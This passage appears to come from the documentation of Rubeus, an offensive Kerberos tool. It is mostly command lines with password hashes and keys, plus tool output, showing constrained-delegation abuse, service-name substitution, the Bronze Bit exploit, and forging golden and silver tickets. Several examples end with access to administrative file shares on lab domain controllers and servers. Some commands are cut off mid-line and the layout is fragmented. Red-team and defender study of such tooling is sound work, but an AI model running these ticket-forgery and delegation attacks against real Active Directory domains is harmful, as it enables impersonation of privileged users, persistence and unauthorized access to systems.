[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

```

```
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
```

That forwardable ticket can then be used as a `/tgs:Y` parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid `msds-allowedtodelegateto` value for the account must be supplied ( `/msdssp:X` ). Say the [patsy@testlab.local](mailto:patsy@testlab.local) account looks like this:

```

PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local

```

```
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
```

Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be:

```
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgt
-----
(____ \      | |
____) )_  | |__ -----
| __ /| | | | _ \ | __ | | | | /____)
| | \ \ | | | | ) ____ | | | ____ |
|_|  | |____/|____/|____)____/(____/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL
[*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

doIGujCCBragAwIBBaEDAgEWoo..(snip)..
```

Where `/ticket:X` is the TGT returned in the first step, and `/tgs` is the S4U2self ticket. Injecting the resulting ticket (manually with [Rubeus.exe ptt /ticket:X](#) or by supplying the `/ptt` flag to the `s4u` command) will allow you access the **ldap** service on `primary.testlab.local` as *if you are dfm.a*.

The `/altservice` parameter takes advantage of [Alberto Solino's](#) great discovery about [how the service name \(sname\) is not protected in the KRB-CRED file](#), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated ( `/altservice:cifs,HOST,...` ).

Let's expand on the previous example, forging access to the filesystem on **primary.testlab.local** by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket:

```
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
```

```
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap
```

```
-----
(____ \    | |
____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ) ____| | | |__ |
|_|  | |____/|____/|____)____/(____/
```

v1.3.3

[\*] Action: Ask TGT

```
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
```

```
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
```

[\*] Action: S4U

```
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
```

```
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
```

```
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
```

```
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
```

```
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
```

```
[*] Action: Import Ticket
[+] Ticket successfully imported!
```

```
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
```

```
Directory of \\primary.testlab.local\C$
```

```
07/05/2018 12:57 PM <DIR>         dumps
03/05/2017 04:36 PM <DIR>         inetpub
08/22/2013 07:52 AM <DIR>         PerfLogs
04/15/2017 05:25 PM <DIR>         profiles
08/28/2018 11:51 AM <DIR>         Program Files
08/28/2018 11:51 AM <DIR>         Program Files (x86)
10/09/2018 12:04 PM <DIR>         Temp
08/23/2018 03:52 PM <DIR>         Users
10/25/2018 01:15 PM <DIR>         Windows
                1 File(s)                9 bytes
                9 Dir(s) 40,511,676,416 bytes free
```

By default, several differences exist between the S4U2Self and S4U2Proxy TGS-REQ's generated by Rubeus and genuine requests. To form the TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists. The `/opsec` flag has not yet been implemented for cross domain S4U.

The *Bronze Bit* exploit (CVE-2020-17049) is implemented using the `/bronzebit` flag. Adding this flag will automatically flip the *forwardable* flag when retrieving the S4U2Self ticket. As flipping this flag requires the service ticket to be decrypted and reencrypted, the long term key (service account's password hash) is required. For this reason, if a TGT is being supplied, the service accounts credentials are also required for this to work.

It is possible, in certain circumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed [here](#). For this purpose, the `/self` flag and `/altservice:X` argument can be used to generate a usable service ticket.

To forge an S4U2Self referral, only the trust key is required. By using the `/targetdomain:X` argument with the `/self` flag and without the `/targetdc` argument, Rubeus will treat the ticket supplied with `/ticket:X` as an

S4U2Self referral and only request the final S4U2Self service ticket. The `/altservice:X` can also be used to rewrite the sname in the resulting ticket:

```
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin@external.zeroday.lab /altservice:SQLSERVER

-----
(____ \    | |
-----) )_  | |__ -----
| __ /| | | | _ \ |__ | | | /____)
| | \ \ | | | | | ) ____ | | | ____ |
|_|  | |____/|____/|____)____/(____/

v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for external.admin@external.zeroday.lab from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/SQLSERVER.internal.zeroday.lab'
[*] base64(ticket.kirbi):

doIFETCCBQ...RheS5sYWI=
```

## Ticket Forgery

Breakdown of the ticket forgery commands:

Command	Description
<a href="#">golden</a>	Forge an ticket granting ticket (TGT)
<a href="#">silver</a>	Forge a service ticket, can also forge TGTs
<a href="#">diamond</a>	Forge a diamond ticket

There are many similarities between the `golden` and `silver` commands, the reason for them being separate is to simplify the `golden` command. Service tickets can be much more complex than TGTs with different keys and extra sections, while TGTs can be forged with the `silver` command, `golden` provides fewer potential arguments as the features not relevant to TGTs are not present.

Most of the arguments for both of these commands are to set PAC fields and should be reasonably self explanatory. These are:

Argument	Description
/user	Used as the user to query details for if /ldap is passed but also is used to set the EffectiveName field in the PAC and the cname field in the EncTicketPart
/dc	Specifies the domain controller used for the LDAP query if /ldap is passed but also used to set the LogonServer field in the PAC
/netbios	Sets the LogonDomainName field in the PAC
/sid	Sets the LogonDomainId field in the PAC
/id	Sets the UserId field in the PAC (Default: 500)
/displayname	Sets the FullName field in the PAC
/logoncount	Sets the LogonCount field in the PAC (Default: 0)
/badpwdcount	Sets the BadPasswordCount field in the PAC (Default: 0)
/uac	Sets the UAC field in the PAC (Default: NORMAL_ACCOUNT)
/pgid	Sets the PrimaryGroupId field in the PAC and is also added to the /groups field (Default: 513)
/groups	Comma separated. Sets the Groups field in the PAC, also has the /pgid added to it. The total is also used to calculate the GroupCount field (Default: 520,512,513,519,518)
/homedir	Sets the HomeDirectory field in the PAC
/homedrive	Sets the HomeDirectoryDrive field in the PAC
/profilepath	Sets the ProfilePath field in the PAC
/scriptpath	Sets the LogonScript field in the PAC
/logofftime	Sets the LogoffTime field in the PAC. In local time format - Is converted to UTC automatically
/lastlogon	Sets the LogonTime field in the PAC. In local time format - Is converted to UTC automatically (Default: starttime - 1 second)
/passlastset	Sets the PasswordLastSet field in the PAC. In local time format - Is converted to UTC automatically
/minpassage	Sets the PasswordCanChange field in the PAC. This is relative to PasswordLastSet, in number of days, so '5' for 5 days
/maxpassage	Sets the PasswordMustChange field in the PAC. This is relative to PasswordLastSet, in number of days, so '5' for 5 days

Argument	Description
/sids	Comma separated. Sets the ExtraSIDs field in the PAC. It is also used to calculate the ExtraSIDCount field
/resourcegroupsid	Sets the ResourceGroupSid field in the PAC. If used, <code>/resourcegroups</code> is also required
/resourcegroups	Comma separated. Sets the ResourceGroups field in the PAC. It is also used to calculate the ResourceGroupCount field. If used, <code>/resourcegroupsid</code> is also required

Other arguments common to both commands but to set fields outside of the PAC are:

Argument	Description
/authtime	Sets the authtime field in the EncTicketPart. In local time format - Is converted to UTC automatically (Default: now)
/starttime	Sets the starttime field in the EncTicketPart. In local time format - Is converted to UTC automatically (Default: now)
/endtime	Sets the endtime field in the EncTicketPart. This is relative to starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below (Default: 10h)
/renewtill	Sets the renew-till field in the EncTicketPart. This is relative to starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below (Default: 7d)
/rangeend	This is for creating multiple tickets that start at different times. This will be the last starttime, relative to <code>/starttime</code> , in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below
/rangeinterval	This is for creating multiple tickets that starts are different times. This is the interval that will be used between each starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below
/flags	Sets the ticket flags within the EncTicketPart (Default: forwardable,renewable,pre_authent and for <code>golden</code> also initial)
/extendedupndns	Includes the new extended UpnDns (which includes the samaccountname and account SID)

For the relative times described in the tables above, the format is an integer used as a multiplier followed by a single character which acts as a timerange. The meaning of each supported character is shown in the table below **(These are case sensitive)**:

Character	Description
m	Minutes
h	Hours
d	Days
M	Months
y	Years

The other common feature used by both commands is LDAP information retrieval. Both `golden` and `silver` support retrieving information over LDAP using the `/ldap` flag. The `/ldap` flag can be used with the `/creduser` and `credpassword` arguments to authenticate as an alternative user when retrieving this information. The information is retrieved by sending 3 LDAP queries and mounting the SYSVOL share of a domain controller (for reading the Domain policy file) if no other information is passed. LDAP queries will automatically be sent over TLS and fail back to plaintext LDAP if it fails.

The first LDAP query, which will always be sent if `ldap` is passed, queries for the user specified in `/user`, and retrieves most of the user's information required for the PAC.

The second LDAP query will be sent if `/groups`, `/pgid`, `/minpassage` **OR** `/maxpassage` are not given on the command line, any of these arguments given on the command line will avoid querying LDAP for the information. This query retrieves the groups that the user is a member of, including the primary group, along with the domain policy object (used to get the path to the policy file). If `/minpassage` or `/maxpassage` is not provided on the command line and the domain policy object is retrieved from LDAP, the SYSVOL share of a DC is mounted and the policy file is parsed to get the `MinimumPasswordAge` (to set the proper value for the `PasswordCanChange` field in the PAC) and the `MaximumPasswordAge` (to set the proper value for the `PasswordMustChange` field in the PAC) values.

Lastly, if the `/netbios` argument is not given on the command line, an LDAP query for the proper netbios name of the domain is made from the `Configuration` container in order to set the `LogonDomainName` field in the PAC. If the `/ldap` flag is not given on the command line and the `/netbios` argument also is not given, the first element (before the first period '.') is uppercased and used instead.

The `/printcmd` flag can be used to print the arguments required to generate another ticket containing the same PAC information used to generate the current ticket. This will **not** print arguments related to the times the ticket is valid for as those are likely required to be different for any future tickets you want to forge.

## golden

The **golden** action will forge a TGT for the user `/user:X` encrypting the ticket with the hash passed with `/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X` and using the same key to create the `ServerChecksum` and `KDCChecksum`. The various arguments to set fields manually are described above or the `/ldap` flag can be used to automatically retrieve the information from the domain controller.

The `/oldpac` switch can be used to exclude the new *Requestor* and *Attributes* PAC\_INFO\_BUFFERS, added in response to CVE-2021-42287.

The `/extendedupndns` switch will include the new extended UpnDns elements. This involved adding 2 to the Flags, as well as containing the samaccountname and account SID.

The `/rodcNumber:x` parameter was added to perform kerberos [Key List Requests](#). The value of this parameter is the number specified after `krbtgt_x` the `msDS-KrbTgtLink` attribute of the read-only domain controller, eg. `krbtgt_12345` would be 12345. This request requires certain flags which can be set using `/flags:forwardable,renewable,enc_pa_rep`. The key (`/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X`) used to encrypt is the KRBTGT\_x accounts key. Further information can be found on Elad Shamir's blog post [here](#),

Forging a TGT using the `/ldap` flag to retrieve the information and the `/printcmd` flag to print a command to forge another ticket with the same PAC information:

```
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /usr
```

```
-----
(____ \    | |
-----) )_  _| |__ ----- - - ---
|  _ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | |_) ) ____| | | ____ |
|_|  | |____/|____/|____)____/____/
```

```
v2.0.0
```

```
[*] Action: Build TGT
```

```
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
```

```
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
```

```
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
```

```
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039
```

```
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSTEM
```

```
[*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully mounted
```

```
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSTEM
```

```
[*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully unmounted
```

```
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
```

```
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghos
```

```
[*] Building PAC
```

```
[*] Domain      : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
```

```
[*] SID         : S-1-5-21-3237111427-1607930709-3979055039
```

```
[*] UserId      : 1106
```

```
[*] Groups      : 513
```

```
[*] ServiceKey   : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
```

```
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
```

```
[*] KDCKey       : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType  : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service     : krbtgt
[*] Target      : rubeus.ghostpack.local
```

```
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'
```

```
[*] AuthTime     : 29/07/2021 00:12:40
[*] StartTime   : 29/07/2021 00:12:40
[*] EndTime     : 29/07/2021 10:12:40
[*] RenewTill  : 05/08/2021 00:12:40
```

```
[*] base64(ticket.kirbi):
```

```
doIFdTCBxGgAwIBBaEDAgEWooIERDCCBEbhggQ8MIIEOKADAgEFoRgblJvQkVVUy5HSE9TVFBbQ0su
... (snip) ...
dWJldXMuz2hvc3RwYWNRlmxvY2Fs
```

```
[*] Printing a command to recreate a ticket containing the information used within this ticket
```

```
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y@rubeus.ghostpack.local
```

Forging a TGT, explicitly setting everything on the command line:

```
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y@rubeus.ghostpack.local
```

```
-----
(----- \      | |
-----) )_  _| |__ -----
|  _ /| | | | _ \| ___ | | | /____)
| | \ \ | | | | | )  ___| | | |___ |
|_|  | |____/|____/|____)____/____/
```

```
v2.0.0
```

```
[*] Action: Build TGT
```

```
[*] Building PAC
```

```
[*] Domain      : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID        : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId     : 1106
[*] Groups     : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service    : krbtgt
[*] Target     : rubeus.ghostpack.local
```

```
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'
```

```
[*] AuthTime      : 29/07/2021 00:18:19
[*] StartTime    : 29/07/2021 00:18:19
[*] EndTime      : 29/07/2021 10:18:19
[*] RenewTill   : 05/08/2021 00:18:19
```

```
[*] base64(ticket.kirbi):
```

```
doIFdTCBxGgAwIBBaEDAgEWooIERDCCBEBhgQ8MIIEOKADAgEFOrgbFLJVQkVVUy5HSE9TVFBbQ0su
... (snip) ...
dWJldXMuz2hvc3RwYWNRlmxvY2Fs
```

Forging 5 TGTs starting on different days with 1 day interval between starttimes, with the first starting now, and using LDAP to get the PAC information:

```
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /usr
```

```
-----
(____ \   | |
_____) )_  | |__ -----
| __ /| | | | _ \ | | | | /____)
| | \ \ | | | | |_) ) ____ | | | |
|_| | |____/|____/|____)____/____/
```

```
v2.0.0
```

```
[*] Action: Build TGT
```

```
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
```

```
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'  
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local  
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039'  
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSTEM  
[*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully mounted  
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSTEM  
[*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully unmounted  
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local  
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local'  
[*] Building PAC  
  
[*] Domain      : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)  
[*] SID         : S-1-5-21-3237111427-1607930709-3979055039  
[*] UserId      : 1106  
[*] Groups      : 513  
[*] ServiceKey  : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5  
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256  
[*] KDCKey      : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5  
[*] KDCKeyType   : KERB_CHECKSUM_HMAC_SHA1_96_AES256  
[*] Service     : krbtgt  
[*] Target      : rubeus.ghostpack.local  
  
[*] Generating EncTicketPart  
[*] Signing PAC  
[*] Encrypting EncTicketPart  
[*] Generating Ticket  
[*] Generated KERB-CRED  
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'  
  
[*] AuthTime    : 29/07/2021 00:22:38  
[*] StartTime   : 29/07/2021 00:22:38  
[*] EndTime     : 29/07/2021 10:22:38  
[*] RenewTill   : 05/08/2021 00:22:38  
  
[*] base64(ticket.kirbi):  
  
doIFdTCBxGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgBF1JVQkVVUy5HSE9TVFBbQ0su  
    ...(snip)...  
dWJldXMuZ2hvc3RwYWNRlmxvY2Fs  
  
[*] Generating EncTicketPart  
[*] Signing PAC  
[*] Encrypting EncTicketPart  
[*] Generating Ticket  
[*] Generated KERB-CRED  
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'
```

```
[*] AuthTime      : 30/07/2021 00:22:38
[*] StartTime    : 30/07/2021 00:22:38
[*] EndTime      : 30/07/2021 10:22:38
[*] RenewTill    : 06/08/2021 00:22:38
```

```
[*] base64(ticket.kirbi):
```

```
doIFdTCBxGgAwIBBaEDAgEWooIERDCCBEbhggQ8MIIEOKADAgEFoRgBFLJVQkVVUy5HSE9TVFBbQ0su
      ... (snip) ...
dWJldXMuz2hvc3RwYWNRlmxvY2Fs
```

```
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'
```

```
[*] AuthTime      : 31/07/2021 00:22:38
[*] StartTime    : 31/07/2021 00:22:38
[*] EndTime      : 31/07/2021 10:22:38
[*] RenewTill    : 07/08/2021 00:22:38
```

```
[*] base64(ticket.kirbi):
```

```
doIFdTCBxGgAwIBBaEDAgEWooIERDCCBEbhggQ8MIIEOKADAgEFoRgBFLJVQkVVUy5HSE9TVFBbQ0su
      ... (snip) ...
dWJldXMuz2hvc3RwYWNRlmxvY2Fs
```

```
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'
```

```
[*] AuthTime      : 01/08/2021 00:22:38
[*] StartTime    : 01/08/2021 00:22:38
[*] EndTime      : 01/08/2021 10:22:38
[*] RenewTill    : 08/08/2021 00:22:38
```

```
[*] base64(ticket.kirbi):
```

```
doIFdTCBxGgAwIBBaEDAgEWooIERDCCBEbhggQ8MIIEOKADAgEFoRgBFLJVQkVVUy5HSE9TVFBbQ0su
```

```

... (snip) ...

dWJldXMuZ2hvc3RwYWNRlmxvY2Fs

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local'

[*] AuthTime      : 02/08/2021 00:22:38
[*] StartTime     : 02/08/2021 00:22:38
[*] EndTime       : 02/08/2021 10:22:38
[*] RenewTill    : 09/08/2021 00:22:38

[*] base64(ticket.kirbi):

doIFdTCcBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIIEOKADAgEFoRgBF1JVQkVVUy5HSE9TVFBBQ0su
... (snip) ...

dWJldXMuZ2hvc3RwYWNRlmxvY2Fs

```

## silver

The **silver** action will forge a ticket for the user `/user:X` and service `/service:SPN`, encrypting the ticket with the hash passed with `/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X` and using the same key to create the ServerChecksum. If the `/krbkey:X` argument is passed this will be used to create the KDCChecksum and TicketChecksum (if the service is not **krbtgt/domain.com** or **domain.com** is different to the from the realm used within the ticket, ie. it is a referral ticket), otherwise the same key used to encrypt the ticket is used. If `krbenctype:X` is not passed, the same encryption type used by the service key is assumed for the KDCChecksum and TicketChecksum.

The `/cname:X` and `/crealm:X` arguments can be used to set different values for those fields within the EncTicketPart (encrypted part of the ticket), this is sometimes seen within referral delegation tickets. A S4UDelegationInfo PAC section can be added by passing the `/s4uproxytarget:X` and `/s4utransitedservices:SPN1,SPN2,...` arguments, this section provides a final target for delegation and the list of SPNs the delegation has happened through.

The `/authdata` flag can be used to add some generic Authorization Data sections to the EncTicketPart, by default this will include a *KERB-LOCAL* section and a *KERB-AD-RESTRICTION-ENTRY* section with some default values.

The `/nofullpacsig` flag will **exclude** the new *FullPacChecksum*, [introduced](#) to resolve the [CVE-2022-37967](#) vulnerability. This signature is included by default in any tickets not secured with the `krbtgt` key.

Forging a service ticket to **cifs/SQL1.rubeus.ghostpack.local** for the user **ccob** using the services *RC4* password hash and signing the KDCChecksum and TicketChecksum with the proper KRBTGT *AES256* key, using LDAP with alternate credentials to get the PAC information:

```
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.

C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ld:

-----
(____ \    | |
-----) )_  _| |__ ----- - - ---
| __ /| | | | _ \| ___ | | | |/_---)
| | \ \ | | | |_) ) ____| | | |___ |
|_|  |_|____/|____/|____)____/(____/

v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus.ghostpack.local))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSTEM
[*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSTEM
[*] \\pdc1.rubeus.ghostpack.local\SYSTEM successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain       : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID          : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId       : 1109
[*] Groups       : 512,513
[*] ServiceKey   : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey       : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType    : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service      : cifs
[*] Target       : SQL1.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
```

```
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'

[*] AuthTime      : 29/07/2021 01:00:23
[*] StartTime    : 29/07/2021 01:00:23
[*] EndTime      : 29/07/2021 11:00:23
[*] RenewTill    : 05/08/2021 01:00:23

[*] base64(ticket.kirbi):

doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBO0su
... (snip) ...

bG9jYWw=
```

[+] Ticket successfully imported!

```
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 1AD6-20BE
```

Directory of \\SQL1.rubeus.ghostpack.local\c\$

```
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Program Files
20/07/2021 18:17 <DIR> Program Files (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Users
20/07/2021 18:18 <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 124,275,159,040 bytes free
```

Forging a referral TGT for a trusting domain, using LDAP to retrieve the PAC information:

```
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a102305584
```

```
-----
(____ \   | |
_____) )_  | |__ -----
| __ /| | | | _ \ | ___ | | | /____)
| | \ \ | | | | |_) ) ____ | | | ___ |
|_|  | |_____|_____|_____)____/____/
```

v2.0.0

[\*] Action: Build TGS

[\*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local

[\*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'

[\*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local

[\*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039

